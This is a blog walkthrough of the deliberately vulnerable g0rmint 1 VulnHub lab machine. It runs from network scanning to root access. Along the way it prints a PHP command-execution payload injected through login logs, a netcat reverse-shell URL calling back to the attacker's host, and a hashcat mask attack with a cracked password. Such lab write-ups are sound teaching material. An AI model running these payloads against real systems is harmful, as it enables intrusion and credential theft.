g0rmint: 1 – vulnhub walkthrough

This is a walkthrough of the g0rmint 1 vulnhub machine released by Noman Riffat

vulnhub link: g0rmint: 1

After booting up the CTF, we have to get the IP of the machine on our internal network:

# arp-scan -localnet

arp-scan -localnet

The VM’s IP address on the environment we work on is 192.168.1.120

As a regular initial enumeration on the most common services the host seems to run two services: ssh and a web server on ports 22 and 80, respectively:

# nmap -O -sT -sV –top-ports 1000 192.168.1.120

# nmap -O -sT -sV --top-ports 1000 192.168.1.120

A complete TCP scan on the host did not disclose any other services open to the public.  

Now checking for any open tcp ports using unicornscan:

# us -m U 192.168.1.120:all -v

# us -m U 192.168.1.120:all -v

Just port 53 opened.

The front page of the webserver returns a NOT FOUND response including the apache httpd banner. The nmap vuln script found a robots.txt file containning a folder leading to a web login form:

# nmap -sT -p80 --script vuln 192.168.1.120

# curl -s http://192.168.1.120/robots.txt

http://192.168.1.120/g0rmint/

So far we have the following summary on the target:

TCP Ports:

  • Port 22:
Running a ssh daemon OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0

(vulnerable to username enumeration)

  • Port 80:
 Running an Apache 2.4.18 web server
A login form of a custom built php application requiring a username and password providing a "reset password" link, as well as showing the exact server date and time in is footer.

UDP Ports:

Port 53: 

Running a domain service

Checking out the ubuntu package header string “4ubuntu2.2” returned from the ssh daemon on launchpad provides an additional information that the target is probably running Ubuntu Xenial (16.04)

So after poking a bit and doing some useless stuff on the web login form, like trying some default “admin” – “admin” configuration etc, I finally had the great idea to take a closer look at the source code (and playing around for several hours I still did miss the most obvious relevant stuff, but I’ll go ahead in this post). Reviewing the source code of the login.php page located at http://192.168.1.120/g0rmint/login.php  discloses some useful stuff for the enumeration stage:

checking out login.php source - some ordinary style links
Checking the style links shows nothing useful at first sight, but…

digging further to the style.css source shows a comment disclosing the author’s email:

g0rmint 1: checking out style.css source
http://192.168.1.120/g0rmint/css/style.css

And most importantly, a few lines above this stands the following code:

g0rmint 1 - discovering a secret backup directory
Discovering a “secret” backup directory on g0rmint

Doing some other stuff in the meantime like trying to enumerate the ssh daemon for the usernames w3bdrill3r and g0rmint revealed that there was indeed a g0rmint user on the machine, however this was used in no way to penetrate the target. The other thing I did was running dirbuster on the / and /g0rmint directories, which only showed the files I already had access to.

First thing that came to mind after the above discoveries  was to check the contents of the newly discovered directory either at http://192.168.1.120/s3cretbackupdirect0ry/ or http://192.168.1.120/g0rmint/s3cretbackupdirect0ry/

which both returned a 404 response. After some tests with this box my guess was the server returns a 404 on each requested directory which does not contain an index file. So after thinking for a while I decided to give it a shot trying to brute force for some possible files using dirbuster. For several hours and trying tons of things and useless manual guesses, and after running dirbuster with the most common extensions (php,txt,html,htm,cgi) from this box I learned the following lessons: people and most automatic daemons STORE their backup data usually in archived format to use as a container in the event of a recovery that may be needed. Before getting into this box I always mislooked at this very important detail – the files stored on a server are not always just with the language extension the server is configured to parse, so I made up a common list of extensions that I could use when running dirbuster:

.html,.htm,.php,.cgi,.asp,.zip,.tar,.gz,.tgz,.tar.gz,.rar,.7z,.bak,.~,.log

Sometimes the .bak, .~, and .log files might come in most useful as the first two are usually source backup files which the server is not configured to parse and basicly just outputs the source of a server parsed file, .php for example. The log files could already be considered some gold as they provide a bunch of information about the target which you could not usually enumerate in a remote manner.

(of course depending on the sever environment – in this case looking for .asp files might be useless)

So I put into dirbuster’s configuration all the possible archive files I could think of, and provided as a parameter the recently discovered s3cretbackupdirect0ry (I usually prefer the GUI version of  dirbuster but as it tends to freeze and for the purpose of the screenshot I used the dirb console application this time):

dirbuster - discovering a secret backup on target g0rmint
# dirb http://192.168.1.120/g0rmint/s3cretbackupdirect0ry/ /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -X .zip,.tar,.gz,.tgz,.tar.gz,.7z,.rar

The backup.zip file happened to contain a backup of the custom g0rmint web login portal.

I tried to look for a glitch at the source code of the application for several hours, however it seemed to create a php file named dummy.php at the beginning of each page, checking for a valid login session and exitting the application in case none was found.

The mechanism of the application is as following:

index.php:

<?php
include_once('config.php');
session_start();
if (!isset($_SESSION['username'])) {
 header('Location: login.php');
 exit;
}
?>

So in case the $_SESSION[‘username’] session variable is not set, the application redirects to the login.php page which contains the authentication mechanism.

login.php:

<?php
include_once('config.php');
if (isset($_POST['submit'])) { // If form is submitted
 $email = $_POST['email'];
 $pass = md5($_POST['pass']);

$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
 $sql->bindParam(":email", $email);
 $sql->bindParam(":pass", $pass);
 $row = $sql->execute();
 $result = $sql->fetch(PDO::FETCH_ASSOC);
 if (count($result) > 1) {
 session_start();
 $_SESSION['username'] = $result['username'];
 header('Location: index.php');
 exit();
 } else {
 $log = $email;
 $reason = "Failed login attempt detected with email: ";
 addlog($log, $reason);
 }
}
?>

So the application runs a PDO prepared statements which are not vulnerable to a regular sql injection, and logs each failed attempt using the addlog function. I really counted on some kind of code injection using the logging function, which was defined in the login.php file, however it proved to be non-exploitable (or at least I couldnt find a way to do this, if anyone achieved this I would appreciate a share)

login.php:

function addlog($log, $reason) {
 $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
 if (file_exists($myFile)) {
 $fh = fopen($myFile, 'a');
 fwrite($fh, $reason . $log . "<br>\n");
 } else {
 $fh = fopen($myFile, 'w');
 fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
 fclose($fh);
 $fh = fopen($myFile, 'a');
 fwrite($fh, $reason . $log . "<br>\n");
 }
 fclose($fh);
}

dummy.php:

<?php

include_once('../config.php');
session_start();
if (!isset($_SESSION['username'])) {
 header('Location: ../login.php');
 exit;
}
?>

So each time the addlong function is called, in case the file named with the current date exists it just appends a message at the end of the file, otherwise it creates such file with the contents of the dummy.php file which just exits in case the $_SESSION[‘username’] variable is not set, which happens upon a successful login.

Staring for a while at the source trying to invent some kind of a new file writing bug (I’m serious, I was really into this) I got back to the real world of logic and noticed that there’s something more to check – the reset password form.

An important step I actually missed here is the archive contained a db.sql file as well containing the initial contents of the database:

a backup database file on target g0rmint
Initial credentials on the web login form

So cracking the hash at this point using hashcat and trying it on the web application was pointless, as providing the above username and email on the forgot password page returned a response the user has not been found in the database, so obviously the password has already been changed.

Trying the credentials from the style.css comment however, seemed to work:

forgotten password link - configrming user exists on target g0rmint
http://192.168.1.120/g0rmint/reset.php

After reviewing the reset.php file source code,

source code of reset.php on target g0rmint - target resets the password based on the current timestamp
reset.php

The following two lines generate the actual password:

 $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
 $password = md5($password);

which is actually based on the server current timestamp, which is already shown in the footer of the web login form. So in my case the string shown at the time of resetting the password was “Wednesday 3rd of January 2018 03:30:06 PM”, which can be easily substituted

Generating a new password based on timestamp "Wednesday 3rd of January 2018 03:30:06 PM"
Generating a new password based on timestamp “Wednesday 3rd of January 2018 03:30:06 PM”

Please note that I’m actually omitting the gmdate function when generating the password as it is actually used to generate a timestamp of the current time and date on the target, but what we provide is actually already a string in the format of a timestamp. It takes a few minutes to realize this at first sight. After outputting the password I was able to login to the g0rmint web application successfully using the newly generated password:

logging in successfully using the email "w3bdrill3r@gmail.com" and the recently generated password
A successful login to the g0rmint admin page

As I was already familiar with mechanism of the application at this stage, I was looking for a way to inject a php code into the error logging files. The application creates a file named “Y-m-d.php” in the s3cr3t-dir3ct0ry-f0r-l0gs directory and for ease, the files are listed under a commented section in the admin portal with the filename “secrets.php”. So by accessing the following url http://192.168.1.120/g0rmint/secretlogfile.php directly a list of log files is shown.

list of log files on target g0rmint
Admin portal on target g0rmint – list of log files at http://192.168.1.120/g0rmint/secretlogfile.php
g0rmint - reviewing the contents of the log file
Reviewing the contents of the g0rmint log file

In order to achieve a Remote Command Injection on the target (as there isn’t any kind of input filtering), I just had to inject the following code as a username:

<?php echo exec($_GET`); ?>

(I tried several different things, however putting $_GET[‘cmd’] didnt seem to work. Another thing to work in such cases is getting the first value of the request array variable

array_shift(array_values($_GET));

which also seemed to work.

Remote Command Injection on target g0rmint by accessing a log file
Achieving RCE on target g0rmint

Using my pentest cheatsheet as a reference I spawned a shell by requesting the following url:

http://192.168.1.120/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-01-03.php?cmd=mknod%20/tmp/backpipe%20p;%20/bin/sh%200%3C/tmp/backpipe%20|%20/bin/nc%20192.168.1.131%20443%201%3E/tmp/backpipe
nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [192.168.1.120] 59850
g0rmint - achieving a persistent reverse shell using d7x's cheatsheet
Reverse shell on target g0rmint

Privilege Escalation

first steps:

Now, this is the port where I got really stuck. The steps below do require some experience in penetration testing. Cracking an md5 hash with a totally random pattern is usually considered a last resort, but to whomever is reading this my advise is not to ever take it out of the equation. Some of the easiest and quickest privilege escalation methods happen due to disclosed or easily crackable passwords.

After browsing for some files and enumerating that there was a user g0rmint on the target with the home folder /home/g0rmint (and noticing the target is missing a gcc compiler so trying some kernel exploits would be a nightmare thus I left this as a last resort. So straight to it, another backup.zip file was located in the /var/www directory, which contained a database backup named db.sql disclosing a password hash, supposedly of the usual g0rmint user password, which may probably be set not just for mysql but on the target system as well (and may be used to login via ssh eventually)

A backup.zip file on target g0rmint
/var/www/backup.zip
g0rmint hash
ea60b43e48f3c2de55e4fc89b3da53dc

hash-identifier recognized this as a usual md5 hash, and having in mind that hashes in databases are most commonly stored as raw md5 that seems to coincide.

hashcat was my next move, and passing the has through the regular rockyou.txt dictionary did not work. Having in mind that using a modern GPU cracking up to 12 alphanumeric passwords is achievable in less then a day, I tried using several patterns. The following one seemed to prove successful:

# hashcat -m 0 -a 3 -1 ?l?d hash ?1?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=5 --increment-max=11

What the above command means is hashcat will create a pattern of an alphanumeric lowercase string, starging from 5 characters and making its way up to 11 characters at most, when it will eventually stop in case no match has been found.

However in this case, a password of 9 characters has been discovered in about 14 minutes:

Cracking a password hash on target g0rmint
ea60b43e48f3c2de55e4fc89b3da53dc:tayyab123

Trying the password “tayyab123” via the ssh service went smoothly:

ssh login with user "g0rmint" on target g0rmint
# ssh -l g0rmint 192.168.1.120

Privilege Escalation

enumerating the target and checking for sudo privileges:

$ sudo -l
Checking sudo privileges for user g0rmint
Checking for a list of sudo commands for user g0rmint
$ sudo su
root@ubuntu:/home/g0rmint# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/g0rmint#
Getting root on target g0rmint
# sudo su

Something interesting that could be noticed about this VM is the root user does not have an enabled password state, so brute force of any kind on the root user would be pointless.

checking for the password hash of user root on target g0rmint
user root has no password access enabled

Leave a Reply

Your email address will not be published. Required fields are marked *